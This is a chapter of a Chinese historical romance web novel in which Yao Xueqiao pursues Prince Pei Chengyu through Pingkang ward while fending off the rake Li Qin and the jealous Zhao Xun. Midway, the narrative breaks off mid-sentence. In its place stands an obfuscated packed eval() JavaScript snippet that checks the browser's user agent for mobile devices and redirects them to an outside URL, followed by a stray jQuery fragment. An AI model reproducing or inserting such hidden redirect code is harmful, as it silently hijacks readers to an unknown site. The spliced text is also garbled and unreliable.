男子着绯袍束玉带,面色冷肃,撩开衣摆翻上马背。
院前官僚来来往往,她不好意思喊,催促车夫跟上。
骏马疾驰,马车辘辘追赶,穿过坊市街巷,晃得姚雪乔头晕目眩,终于停下来。
她扶着车壁,险些要吐出来。
谁知车门刚打开,利剑泛着森森寒气,抵在她脖颈下。
男人眸光锐利。
“小姐为何跟着我家主子?”连峰冷声质问。
姚雪乔努力缩着脖子,躲避剑刃,瞥见那道劲竹似的绯色背影,刚要拔高音量唤他,剑气迫得她连忙住口。
“我有要事找郡王。”
“什么事?”
姚雪乔低头,红唇翕动,“我和郡王的私事,不方便告诉你。”
连峰不经意轻轻一哼。
自家主子双眸半含笑意,是载满桃花流淌的清泉,总让姑娘家沉溺其中,愿做追逐流水的落花,不顾泉水冷冽,清寒透骨,自以为能打动他为此停留。
连峰收回剑,抱拳微微垂首:“请小姐自重。”
姚雪乔纠正他的措辞,“我不是想……”
不是想追求他。
她没好意思说出口,也省的让他误会她瞧不上裴承聿,一怒之下驱逐她。
她乖巧地答应,只不过在连峰进入裴府大门后,又钻回马车,命车夫停在巷尾的榕树下。
事关裴承聿的私事,即便是他的亲随她也不能擅自告知,万一他生气来抄家呢?
她靠着软垫,撩开车帘紧盯着裴府大门。
等到落日西沉,天地之间晕染出一抹孤寂的、繁华落尽的色彩。
裴承聿终于叫她等出来了。
他换了身天青色如意纹圆领袍,腰间缀着蹀躞金玉带,夕阳从他背后拥来,整个人若披光晕,冷肃的眉眼蒙着几丝温和,居高临下骑在马背上,宛如神佛。
这还是姚雪乔第一次正经看他。
眸似点漆,细长微挑,随着眉尾飞扬至两鬓,极易招惹风月的眉眼。
可他下颌弧度冷硬,薄唇总抿起冷锐的线条,沉稳与风流的气质完美融合,让人禁不住想看,又不敢多看。
他越走越近,光映照人。
姚雪乔不自在地抿唇酝酿腹稿,跳下马车,掐紧掌心,“见过晋阳郡王。”
他微微颔首,淡淡瞥她一眼,“姚小姐。”
随后竟飘然而过,一言不发,马蹄声越发清脆。
“郡王留步。”
情急之下,她拽起裙摆,可窝在马车里太久,双脚暂时还使不上力气,额头沁出薄汗。
裴承聿置若罔闻。
这时,朱轮华盖的马车缓缓停下,车窗打开,探出一张明媚张扬的脸。
姚雪乔忙着追人,经过马车时听到有人唤她,糊里糊涂停下来,看向她。
裴云菁被她溢着水光的眼眸盯住,从中看到她自己的身影,微微张着红唇,好半天才冷飕飕哼道:
“好啊,我就知道。”
裴云菁鲜红的指甲扣着车窗,竖起眉毛,“我说人怎么能娇弱到那个地步,说晕倒就晕倒,果然是故意的,你想吸引堂哥的注意。”
“哼,痴心妄想!”
原来是为裴承聿打抱不平,姚雪乔认出她,裴云菁是各府宴席的座上宾,众心捧月般的存在。
可她没空追捧,只能敷衍一句:“我不是,你别胡说。”
明明就快追上,被她一打岔,只能看见裴承聿飞扬起来的半截衣摆,马蹄生尘。
“你竟敢和我顶嘴。”裴云菁挑高眉毛,声音尖利。
姚雪乔可没功夫和她吵,眼见裴承聿消失在巷子尽头,立刻跑上马车,与裴云菁的马车擦身而过。
“小姐呀,这种地方我们也要跟进去?”
秋意探出车窗,打眼一看,缩回来,“天快黑了,再不回去,老爷夫人会担心的。”
姚雪乔拍拍她的手,眼神坚定,秋意只好陪着她下去。
夕阳垂坠,坊内各家小院升起红灯笼。
晚风轻柔,花树哗然,丝竹声飘渺入耳,隐约夹杂着女子娇俏的笑声。
青白衣衫的文人举子结伴路过,目光好奇含笑,频频回头打量她。
“呦,李钦,那不是你那命不久矣的妻吗?”其中一人撞了下紫袍男子的肩膀,笑声轻浮。
每到傍晚,平康坊内歌舞升平,李钦是风月场所的常客。
相比较之下,姚雪乔一个姑娘家出现在这里,就显得尤为怪异。
“姚小姐是来找夫君的?”
李钦收起折扇,勾着浪荡的笑,缓步朝姚雪乔走去,不慌不忙,似捕捉落入网中的猎物。
她逃不掉。
男人眼神肆意,上下打量,像在以目光掂量她的斤两。
姚雪乔手心出汗,恐惧顺着脊背攀爬,这样的眼神,她见识过无数次。
可是这里不是官员府邸的花园,她晕倒后不会有人畏惧惹祸上身,反而正中他的下怀。
她脚底窜出一股劲儿,转头开跑。
不料,在小院转角处,幽深的巷子口里走出一道峻拔的身影,她好巧不巧撞上去。
裴承聿攥住她的手臂,捞回她后倾的身子。
少女秀发挽成双髻,高竖在发顶,完美地露出精致的五官。
眉似烟雨中黛色远山,睫毛密匝匝扇动,显得双眸过于柔顺纯善,总含着一团雾气,如同白纸上浓墨渲染的山水风光,朦胧而生动。
雪白的肤,乌黑的眉,双眸似点漆。
唇瓣上嫣红莹润,光泽在他眼前跃动。
“多谢郡王。”姚雪乔揉着鼻尖,眼睛往他胸口瞥,疑心他在怀里揣着石板。
裴承聿轻轻颔首,气势如巍峨峻岭。
对李钦一群纨绔而言,他无异于罗刹,一伙人面面相觑缩回身子,不敢上前搭话。
姚雪乔也下意识让道。
等他从身边经过,闻到那缕薄淡悠长的梅香在鼻尖,她侧目追随气息,对上李钦冒着绿光的眼。
“姚小姐,天晚风急,我送你回去。”
李钦提步上前,朝裴承聿拱手致意,眼睛一直在看她,带着一丝要挟。
裴承聿此人看似温和有礼,却冷心冷清,扶姚雪乔是出于风度,但他绝不会轻易为不相干的人出头。
李钦坚信,胸膛不禁挺直。
他可是摆足聘礼登门提过亲的,虽未正式定亲,但在旁人眼中她就是他李钦的人。
哪怕裴承聿只手遮天,在这件事上却无从置喙。
姚雪乔喉咙中颤巍巍挤出几个字,“不不,不劳烦李公子。”
随即埋头亦步亦趋跟在裴承聿身后,她手指不听使唤,抓住他的衣袖,宛如抓住救命稻草,“我还有话和郡王说。”
攥着衣袖的手指纤长,指尖泛着粉,骨节用力到发白。
街巷人来人往,平康坊对面是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457776|169593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崇仁坊,住的多是文人举子,多多少少能认得裴承聿。
迫于旁人好奇的注视,姚雪乔低着头,手指松了又紧。
不该和他拉扯坏他名声的,可是上次李钦调戏她的话还回荡在耳畔,如今又在这风月之地,他一定不会口头上戏弄她那样简单。
“我……我不是故意的,只是想……”受着裴承聿审视的目光,她一时支支吾吾,说不出所以然。
“雪乔,你为何在此?”
赵洵小跑着跟来,气还没喘匀,看到的正是姚雪乔黛眉微锁,眸中半含泪水,将坠不坠,红着鼻尖扯裴承聿的袖口,仰头看他的场景。
雪白的脖颈上染了一层夕阳的颜色,弓出纤细柔美的弧度。
“前面是你的未婚夫,身后是你的旧情郎。”
裴承聿看了一眼赵洵,眉宇间一抹不耐,若山之将崩,“姚小姐,你确定不松手?”
李钦何时成她未婚夫了?
可姚雪乔有求于他,自然不好顶撞他,惹他气恼,双手终于无力地坠下,“对不起。”
声音又柔又细。
她的脖颈后漫上一层绯色,耳垂红艳,尤为惹眼。
官差厉声呵斥的声音打破沉默。
裴承聿抬眸看去,连峰径直走来,目不斜视。
“主子,两月前江淮运河上发生的那起盗窃案,罪魁祸首已被捉拿。这位春娘与他们同伙,负责销赃,只是赃物中并没有您的短剑。”
说着,一位衣着艳丽,发髻散乱的女子被押送出来。
姚雪乔捕捉到那两个字,朝她的马车上瞥,庆幸没有将短剑早早带在身上还给他,否则岂不是成了同伙,跳进黄河也洗不清嫌疑。
秋意站在车前踱来踱去,见她看来,冲她对口型,喊她回家。
还不能走。
她躲开李钦,挤到连峰和裴承聿之间,目光殷切。
“姚小姐请自重。”
连峰还是那句话,抬眼看主子。
裴承聿眉目微凝,但丝毫不见怒气,反而有种置身事外的冷淡。
姚雪乔一时不知该听谁的,至少裴承聿没赶她,她厚着脸皮紧紧盯住他,“我是真的想和郡王借一步说话。”
话放出去,无人回应,凝脂白玉似的脸霎时滚烫。
看得赵洵胸中烧起无名的火。
他不清楚姚雪乔和裴承聿之间发生什么,但她的无视令他面上无光。
他走上前,眼睛看着裴承聿,余光瞥姚雪乔红透的脸。
他拿出他皇室子孙的威严魄力,试图证明他并不比任何人差,尤其是他的表哥。
“那伙盗贼既然能在扬州偷走表哥的物件,又逃过追查,定然和扬州官府有所勾结。长安公主斥巨资打造的宝剑,我掘地三尺也要为表哥找出来。”
“有劳阿洵费心。”裴承聿点头,转脸看姚雪乔,“不知姚小姐究竟有什么话,阿洵不是外人,不妨说来听听。”
看,表哥光风霁月,从不给姑娘家半点纠缠的机会。
赵洵双手背在身后,洗耳恭听。
胡说什么,他当晚闯进她房间时,短剑明明还在腰间。可观他神态,镇定自若,不知情的人很容易被欺骗了去。
比如赵洵。
姚雪乔扭扭捏捏,眼底都染上绯红,为难道:“世子,这是我和郡王的私事,能不能请你回避一下。”
赵洵嘴角僵住,眼神不由在她和裴承聿身上来回打转。